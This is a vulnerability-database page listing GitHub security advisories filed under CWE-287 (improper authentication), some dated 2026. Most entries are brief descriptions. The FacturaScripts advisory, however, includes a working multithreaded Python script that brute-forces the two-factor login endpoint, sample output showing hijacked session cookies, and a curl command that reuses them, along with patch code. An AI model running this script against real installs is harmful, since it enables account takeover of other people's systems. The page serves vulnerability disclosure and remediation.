CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5964 vulnerabilities reference this CWE, most recent first.
GHSA-C5FF-JGXW-Q68X
Vulnerability from github – Published: 2022-05-17 01:15 – Updated: 2022-05-17 01:15The Telemetry Component in WebSphere MQ 8.0.0.1 before p000-001-L140910 allows remote attackers to bypass authentication by setting the JAASConfig property in an MQTT client configuration.
{
"affected": [],
"aliases": [
"CVE-2014-6116"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-10-19T01:55:00Z",
"severity": "MODERATE"
},
"details": "The Telemetry Component in WebSphere MQ 8.0.0.1 before p000-001-L140910 allows remote attackers to bypass authentication by setting the JAASConfig property in an MQTT client configuration.",
"id": "GHSA-c5ff-jgxw-q68x",
"modified": "2022-05-17T01:15:16Z",
"published": "2022-05-17T01:15:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-6116"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/96213"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/61064"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21686210"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-C5G2-XM5J-VM94
Vulnerability from github – Published: 2022-05-24 17:13 – Updated: 2022-05-24 17:13An issue was discovered in CIPPlanner CIPAce 9.1 Build 2019092801. Upload.ashx allows remote attackers to execute arbitrary code by uploading and executing an ASHX file.
{
"affected": [],
"aliases": [
"CVE-2020-11598"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-06T22:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in CIPPlanner CIPAce 9.1 Build 2019092801. Upload.ashx allows remote attackers to execute arbitrary code by uploading and executing an ASHX file.",
"id": "GHSA-c5g2-xm5j-vm94",
"modified": "2022-05-24T17:13:36Z",
"published": "2022-05-24T17:13:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11598"
},
{
"type": "WEB",
"url": "https://www.criticalstart.com/vulnerabilities-discovered-in-cipace-enterprise-platform"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-C5G7-7W25-772M
Vulnerability from github – Published: 2025-02-18 15:31 – Updated: 2025-02-19 15:32A vulnerability in the TP-Link WR840N v6 router with firmware version 0.9.1 4.16 and earlier permits unauthorized individuals to bypass the authentication of some interfaces under the /cgi directory.When adding Referer: http://tplinkwifi.net to the the request, it will be recognized as passing the authentication.
{
"affected": [],
"aliases": [
"CVE-2024-57050"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-18T15:15:16Z",
"severity": "CRITICAL"
},
"details": "A vulnerability in the TP-Link WR840N v6 router with firmware version 0.9.1 4.16 and earlier permits unauthorized individuals to bypass the authentication of some interfaces under the /cgi directory.When adding Referer: http://tplinkwifi.net to the the request, it will be recognized as passing the authentication.",
"id": "GHSA-c5g7-7w25-772m",
"modified": "2025-02-19T15:32:12Z",
"published": "2025-02-18T15:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57050"
},
{
"type": "WEB",
"url": "https://github.com/Shuanunio/CVE_Requests/blob/main/TP-Link/WR840N%20v6/ACL%20bypass%20Vulnerability%20in%20TP-Link%20TL-WR840N.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C5H7-MJWP-4PVR
Vulnerability from github – Published: 2022-04-30 18:19 – Updated: 2022-04-30 18:19The default configuration of Oracle 9i Application Server 1.0.2.x allows remote anonymous users to access sensitive services without authentication, including Dynamic Monitoring Services (1) dms0, (2) dms/DMSDump, (3) servlet/DMSDump, (4) servlet/Spy, (5) soap/servlet/Spy, and (6) dms/AggreSpy; and Oracle Java Process Manager (7) oprocmgr-status and (8) oprocmgr-service, which can be used to control Java processes.
{
"affected": [],
"aliases": [
"CVE-2002-0563"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2002-07-03T04:00:00Z",
"severity": "MODERATE"
},
"details": "The default configuration of Oracle 9i Application Server 1.0.2.x allows remote anonymous users to access sensitive services without authentication, including Dynamic Monitoring Services (1) dms0, (2) dms/DMSDump, (3) servlet/DMSDump, (4) servlet/Spy, (5) soap/servlet/Spy, and (6) dms/AggreSpy; and Oracle Java Process Manager (7) oprocmgr-status and (8) oprocmgr-service, which can be used to control Java processes.",
"id": "GHSA-c5h7-mjwp-4pvr",
"modified": "2022-04-30T18:19:28Z",
"published": "2022-04-30T18:19:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2002-0563"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/8455"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=101301813117562\u0026w=2"
},
{
"type": "WEB",
"url": "http://otn.oracle.com/deploy/security/pdf/ias_modplsql_alert.pdf"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1009167"
},
{
"type": "WEB",
"url": "http://www.appsecinc.com/Policy/PolicyCheck7024.html"
},
{
"type": "WEB",
"url": "http://www.cert.org/advisories/CA-2002-08.html"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/168795"
},
{
"type": "WEB",
"url": "http://www.nextgenss.com/papers/hpoas.pdf"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/13152"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/705"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/4293"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-C5H8-CQ4V-CVFM
Vulnerability from github – Published: 2022-05-24 22:01 – Updated: 2024-10-14 21:49The mirroring support (-M, --use-mirrors) in Python Pip before 1.5 uses insecure DNS querying and authenticity checks which allows attackers to perform man-in-the-middle attacks.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pip"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2013-5123"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-07T23:28:34Z",
"nvd_published_at": "2019-11-05T22:15:00Z",
"severity": "HIGH"
},
"details": "The mirroring support (-M, --use-mirrors) in Python Pip before 1.5 uses insecure DNS querying and authenticity checks which allows attackers to perform man-in-the-middle attacks.",
"id": "GHSA-c5h8-cq4v-cvfm",
"modified": "2024-10-14T21:49:09Z",
"published": "2022-05-24T22:01:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-5123"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-5123"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2013-5123"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-c5h8-cq4v-cvfm"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pip/PYSEC-2019-160.yaml"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2013-5123"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-April/155248.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-April/155291.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/08/21/17"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/08/21/18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Improper Authentication in pip"
}
GHSA-C5J2-X27W-V2PH
Vulnerability from github – Published: 2022-05-17 04:30 – Updated: 2022-05-17 04:30The MySQL database in McAfee Network Data Loss Prevention (NDLP) before 9.3 does not require a password, which makes it easier for remote attackers to obtain access.
{
"affected": [],
"aliases": [
"CVE-2014-8522"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-10-29T14:55:00Z",
"severity": "HIGH"
},
"details": "The MySQL database in McAfee Network Data Loss Prevention (NDLP) before 9.3 does not require a password, which makes it easier for remote attackers to obtain access.",
"id": "GHSA-c5j2-x27w-v2ph",
"modified": "2022-05-17T04:30:20Z",
"published": "2022-05-17T04:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8522"
},
{
"type": "WEB",
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10053"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-C5MJ-39CF-3PP5
Vulnerability from github – Published: 2024-06-07 17:19 – Updated: 2024-06-07 17:19When using the TYPO3 backend in order to create new backend user accounts, database records containing insecure or empty credentials might be persisted. When the type of user account is changed - which might be entity type or the admin flag for backend users - the backend form is reloaded in order to reflect changed configuration possibilities. However, this leads to persisting the current state as well, which can result into some of the following:
- account contains empty login credentials (username and/or password)
- account is incomplete and contains weak credentials (username and/or password)
Albeit the functionality provided by the TYPO3 core cannot be used either with empty usernames or empty passwords, it still can be a severe vulnerability to custom authentication service implementations.
This weakness cannot be directly exploited and requires interaction on purpose by some backend user having according privileges.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.7.23"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-07T17:19:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "When using the TYPO3 backend in order to create new backend user accounts, database records containing insecure or empty credentials might be persisted. When the type of user account is changed - which might be entity type or the admin flag for backend users - the backend form is reloaded in order to reflect changed configuration possibilities. However, this leads to persisting the current state as well, which can result into some of the following:\n\n- account contains empty login credentials (username and/or password)\n- account is incomplete and contains weak credentials (username and/or password)\n\nAlbeit the functionality provided by the TYPO3 core cannot be used either with empty usernames or empty passwords, it still can be a severe vulnerability to custom authentication service implementations.\n\nThis weakness cannot be directly exploited and requires interaction on purpose by some backend user having according privileges.",
"id": "GHSA-c5mj-39cf-3pp5",
"modified": "2024-06-07T17:19:38Z",
"published": "2024-06-07T17:19:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/commit/b3608d14e1915030cde272000a247cb6d5f982b8"
},
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/commit/e4d0cff40a4f8f597e52c20fff529e206bb62703"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms/2019-01-22-2.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/TYPO3/typo3"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-core-sa-2019-002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "TYPO3 Security Misconfiguration for Backend User Accounts"
}
GHSA-C5PH-RGHF-FJFJ
Vulnerability from github – Published: 2026-06-29 21:32 – Updated: 2026-06-30 15:30Improper Authentication vulnerability in Apache Tomcat allowed a replay attack against the EncryptionInterceptor in the cluster component.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.13 through 9.0.18, from 8.5.38 through 8.5.100, from 7.0.100 through 7.0.109.
Users are recommended to upgrade to version 11.0.23, 10.1.56, 9.0.119, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-55955"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-29T21:16:45Z",
"severity": "MODERATE"
},
"details": "Improper Authentication vulnerability in Apache Tomcat allowed a replay attack against the EncryptionInterceptor in the cluster component.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.13 through 9.0.18, from 8.5.38 through 8.5.100, from 7.0.100 through 7.0.109.\n\nUsers are recommended to upgrade to version 11.0.23, 10.1.56, 9.0.119, which fixes the issue.",
"id": "GHSA-c5ph-rghf-fjfj",
"modified": "2026-06-30T15:30:43Z",
"published": "2026-06-29T21:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55955"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/g4p5sf45p3f9r011pwqs9r54yd64s106"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/06/29/24"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C5RV-3W8M-4V6H
Vulnerability from github – Published: 2023-07-17 00:31 – Updated: 2024-04-04 06:09IBM Robotic Process Automation 21.0.0 through 21.0.7.6 and 23.0.0 through 23.0.6 is vulnerable to client side validation bypass which could allow invalid changes or values in some fields. IBM X-Force ID: 259380.
{
"affected": [],
"aliases": [
"CVE-2023-35901"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-17T00:15:09Z",
"severity": "MODERATE"
},
"details": "IBM Robotic Process Automation 21.0.0 through 21.0.7.6 and 23.0.0 through 23.0.6 is vulnerable to client side validation bypass which could allow invalid changes or values in some fields. IBM X-Force ID: 259380.",
"id": "GHSA-c5rv-3w8m-4v6h",
"modified": "2024-04-04T06:09:25Z",
"published": "2023-07-17T00:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35901"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/259380"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7012317"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C67F-GMXW-MJ93
Vulnerability from github – Published: 2026-07-13 23:35 – Updated: 2026-07-13 23:35Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection
Summary
Core/Controller/Login.php::twoFactorValidationAction() accepts an
unauthenticated POST containing only fsNick and fsTwoFactorCode. If the
TOTP value matches, the server issues a full fsNick + fsLogkey session
cookie pair. The handler:
- Does not verify the password — the user is not required to have just
completed
loginAction. - Does not call
validateFormToken()— no CSRF token is required (every other action handler in the same file does call it). - Does not call
userHasManyIncidents()before processing —loginActionandchangePasswordActionboth check this guard before doing work; the 2FA handler only writes to the incident list after a failure, and the incident list is consulted byloginAction/changePasswordActionbut not by the 2FA handler itself. The endpoint therefore has no rate-limiting at all.
Combined with TwoFactorManager::VERIFICATION_WINDOW = 8 (google2fa default
is 1), 17 distinct six-digit codes are valid simultaneously and each remains
valid for ~4 minutes. The expected number of guesses to land a valid code is
N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)
On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account.
The vulnerability gives complete account takeover of any 2FA-enabled
user to any unauthenticated network attacker who knows the target's nick.
Admin nicks are typically public information (admin, the company name,
the person's initials).
Severity
CVSS 4.0 base score: 9.3 — Critical
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. |
| Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. |
| Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. |
| Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. |
| User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. |
| Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). |
| Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. |
| Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via loginAction for 10 minutes (MAX_INCIDENT_COUNT = 6, INCIDENT_EXPIRATION_TIME = 600). Targeted account-lockout DoS against any nick. |
| Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |
Threat metrics:
- Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.
Affected component
- File:
Core/Controller/Login.php - Method:
twoFactorValidationAction()(lines 317–328 in the repository at commit7392b489b, master branch as of 2026-05-13). - Related:
Core/Lib/TwoFactorManager.php:30(VERIFICATION_WINDOW = 8).
Vulnerable code:
protected function twoFactorValidationAction(Request $request): void
{
$userName = $request->input('fsNick');
$user = new User();
if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
Tools::log()->warning('two-factor-code-invalid');
$this->saveIncident(Session::getClientIp(), $userName);
return;
}
$this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}
Compare with loginAction in the same file, which calls
validateFormToken() (line 275) and userHasManyIncidents() (line 287)
before doing any work. The 2FA handler does neither.
Proof of concept
1. Brute force when only the victim's nick is known
This requires no prior
knowledge beyond the target's nick. Because the 2FA endpoint has no
rate-limiting and VERIFICATION_WINDOW=8 keeps ~17 codes valid at once,
random guessing finds a valid code in seconds to minutes from a single IP.
poc_2fa_brute.py:
#!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requests
BASE = os.environ.get("BASE", "http://localhost:9999")
NICK = os.environ.get("NICK", "admin")
THREADS = int(os.environ.get("THREADS", "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))
hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}
def worker(tid: int) -> None:
s = requests.Session()
while not hit.is_set():
with lock:
n = attempt_count[0]
if n >= MAX_TRIES:
return
attempt_count[0] += 1
code = f"{random.randint(0, 999999):06d}"
try:
r = s.post(f"{BASE}/login",
data={"action": "two-factor-validation",
"fsNick": NICK,
"fsTwoFactorCode": code},
allow_redirects=False, timeout=5)
except requests.RequestException:
continue
sc = r.headers.get("Set-Cookie", "")
if r.status_code == 302 and "fsLogkey" in sc:
with lock:
if hit.is_set():
return
hit.set()
result["code"] = code
result["n"] = n
result["cookies"] = {c.name: c.value for c in r.cookies}
return
def main() -> int:
print(f"[*] target={BASE} nick={NICK} threads={THREADS}")
threads = [threading.Thread(target=worker, args=(i,), daemon=True)
for i in range(THREADS)]
for t in threads: t.start()
while not hit.is_set() and attempt_count[0] < MAX_TRIES:
time.sleep(2)
elapsed = time.time() - start
print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} "
f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
for t in threads: t.join()
elapsed = time.time() - start
if hit.is_set():
print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
f"attempts in {elapsed:.1f}s")
cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
print(f"[+] Cookies: {cookie_hdr}")
print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser")
return 0
print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
return 1
if __name__ == "__main__":
sys.exit(main())
Observed result against the same install (victim user has 2FA enabled,
attacker knows only the nick victim):
[*] target=http://localhost:9999 nick=victim threads=32
[ 2.2s] attempts= 1094 rps= 493
[ 24.4s] attempts= 11535 rps= 473
[ 50.0s] attempts= 23420 rps= 468
[100.7s] attempts= 41247 rps= 410
[144.9s] attempts= 55418 rps= 383
[+] FOUND code=055473 after 55,773 attempts in 146.0s
[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN
A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts.
Impact
For each 2FA-enabled user (including admins):
- Confidentiality: full read access to anything the victim can see — invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration.
- Integrity: full write access — create/modify/delete records, change permissions, issue new API keys, upload plugins, install code (admin).
- Availability: targeted account lockout DoS — generating six failed
2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident
counter past
MAX_INCIDENT_COUNT = 6, blocking the legitimate user fromloginActionfor 10 minutes. Repeatable indefinitely.
The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly weaker than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before.
Remediation
Four independent fixes are required; each closes a distinct gap and any one alone is insufficient.
-
Require evidence the user just completed the password step. In
loginAction, afterverifyPasswordsucceeds and 2FA is required, write a short-lived nonce keyed by(client_ip, user_nick)to the shared cache (e.g.Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)).twoFactorValidationActionmust read, validate, and delete that nonce before callingverifyTwoFactorCode. Without the nonce, return immediately. -
Call
validateFormToken($request)at the top oftwoFactorValidationAction. Every other action handler in the controller does this; the 2FA handler should too. Eliminates drive-by CSRF submissions. -
Call
userHasManyIncidents(Session::getClientIp(), $userName)before doing any work intwoFactorValidationAction, and bail out if the threshold is exceeded. This is the missing rate-limit pre-check. -
Reduce
TwoFactorManager::VERIFICATION_WINDOWfrom 8 to 1. The google2fa default is 1 (±30 s). A window of 8 multiplies the brute-force success rate by 17× for no legitimate reason — TOTP apps and the server clock are typically synchronised within a single 30-second step.
Suggested patch (illustrative):
// Core/Controller/Login.php
protected function twoFactorValidationAction(Request $request): void
{
if (false === $this->validateFormToken($request)) { // fix 2
return;
}
$userName = $request->input('fsNick');
if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3
Tools::log()->warning('ip-banned');
return;
}
$nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
if (false === Cache::get($nonceKey)) { // fix 1
Tools::log()->warning('two-factor-no-pending-login');
$this->saveIncident(Session::getClientIp(), $userName);
return;
}
Cache::delete($nonceKey);
$user = new User();
if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
Tools::log()->warning('two-factor-code-invalid');
$this->saveIncident(Session::getClientIp(), $userName);
return;
}
$this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}
// Core/Lib/TwoFactorManager.php
private const VERIFICATION_WINDOW = 1; // fix 4 — was 8
loginAction then needs the matching nonce write where it currently
sets $this->two_factor_user:
if ($user->two_factor_enabled) {
Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
bin2hex(random_bytes(16)), 300);
$this->two_factor_user = $user->nick;
$this->template = 'Login/TwoFactor.html.twig';
return;
}
Reproduction
Tested on a clean install built from master at commit 7392b489b:
# brute force (only nick known) — secret on the server can be anything
NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2"
},
"package": {
"ecosystem": "Packagist",
"name": "facturascripts/facturascripts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47677"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-13T23:35:48Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# Authentication bypass in FacturaScripts: `/login?action=two-factor-validation` accepts brute-forceable TOTP without password or CSRF protection\n\n## Summary\n\n`Core/Controller/Login.php::twoFactorValidationAction()` accepts an\nunauthenticated POST containing only `fsNick` and `fsTwoFactorCode`. If the\nTOTP value matches, the server issues a full `fsNick` + `fsLogkey` session\ncookie pair. The handler:\n\n1. **Does not verify the password** \u2014 the user is not required to have just\n completed `loginAction`.\n2. **Does not call `validateFormToken()`** \u2014 no CSRF token is required (every\n other action handler in the same file does call it).\n3. **Does not call `userHasManyIncidents()` before processing** \u2014 `loginAction`\n and `changePasswordAction` both check this guard *before* doing work; the\n 2FA handler only writes to the incident list *after* a failure, and the\n incident list is consulted by `loginAction` / `changePasswordAction` but\n not by the 2FA handler itself. The endpoint therefore has **no\n rate-limiting at all**.\n\nCombined with `TwoFactorManager::VERIFICATION_WINDOW = 8` (google2fa default\nis 1), 17 distinct six-digit codes are valid simultaneously and each remains\nvalid for ~4 minutes. The expected number of guesses to land a valid code is\n\n\u003e N \u2248 ln(0.5) / ln(1 \u2212 17 / 10\u2076) \u2248 **40 800** attempts (50% success)\n\nOn a default LAMP install a single-laptop attacker sustains ~400 RPS from\none source IP \u2014 a few minutes per account.\n\nThe vulnerability gives **complete account takeover** of any 2FA-enabled\nuser to any unauthenticated network attacker who knows the target\u0027s nick.\nAdmin nicks are typically public information (`admin`, the company name,\nthe person\u0027s initials).\n\n## Severity\n\n**CVSS 4.0 base score: 9.3 \u2014 Critical**\n\nVector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N`\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. |\n| Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. |\n| Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. |\n| Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. |\n| User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. |\n| Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin \u2192 entire database). |\n| Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. |\n| Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via `loginAction` for 10 minutes (`MAX_INCIDENT_COUNT = 6`, `INCIDENT_EXPIRATION_TIME = 600`). Targeted account-lockout DoS against any nick. |\n| Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |\n\nThreat metrics:\n\n- Exploit Maturity (E): **Attacked (A)** \u2014 public PoC included below, runs out of the box.\n\n## Affected component\n\n- File: `Core/Controller/Login.php`\n- Method: `twoFactorValidationAction()` (lines 317\u2013328 in the repository at commit `7392b489b`, master branch as of 2026-05-13).\n- Related: `Core/Lib/TwoFactorManager.php:30` (`VERIFICATION_WINDOW = 8`).\n\nVulnerable code:\n\n```php\nprotected function twoFactorValidationAction(Request $request): void\n{\n $userName = $request-\u003einput(\u0027fsNick\u0027);\n $user = new User();\n if (!$user-\u003eload($userName) || !$user-\u003everifyTwoFactorCode($request-\u003einput(\u0027fsTwoFactorCode\u0027))) {\n Tools::log()-\u003ewarning(\u0027two-factor-code-invalid\u0027);\n $this-\u003esaveIncident(Session::getClientIp(), $userName);\n return;\n }\n\n $this-\u003eupdateUserAndRedirect($user, Session::getClientIp(), $request);\n}\n```\n\nCompare with `loginAction` in the same file, which calls\n`validateFormToken()` (line 275) and `userHasManyIncidents()` (line 287)\n*before* doing any work. The 2FA handler does neither.\n\n## Proof of concept\n\n### 1. Brute force when only the victim\u0027s nick is known\n\nThis requires **no prior\nknowledge** beyond the target\u0027s nick. Because the 2FA endpoint has no\nrate-limiting and `VERIFICATION_WINDOW=8` keeps ~17 codes valid at once,\nrandom guessing finds a valid code in seconds to minutes from a single IP.\n\n`poc_2fa_brute.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: brute-force the 2FA endpoint.\nRequired: pip install requests\n\"\"\"\nimport os, sys, time, random, threading, requests\n\nBASE = os.environ.get(\"BASE\", \"http://localhost:9999\")\nNICK = os.environ.get(\"NICK\", \"admin\")\nTHREADS = int(os.environ.get(\"THREADS\", \"32\"))\nMAX_TRIES = int(os.environ.get(\"MAX_TRIES\", \"200000\"))\n\nhit = threading.Event()\nattempt_count = [0]\nlock = threading.Lock()\nstart = time.time()\nresult = {}\n\ndef worker(tid: int) -\u003e None:\n s = requests.Session()\n while not hit.is_set():\n with lock:\n n = attempt_count[0]\n if n \u003e= MAX_TRIES:\n return\n attempt_count[0] += 1\n code = f\"{random.randint(0, 999999):06d}\"\n try:\n r = 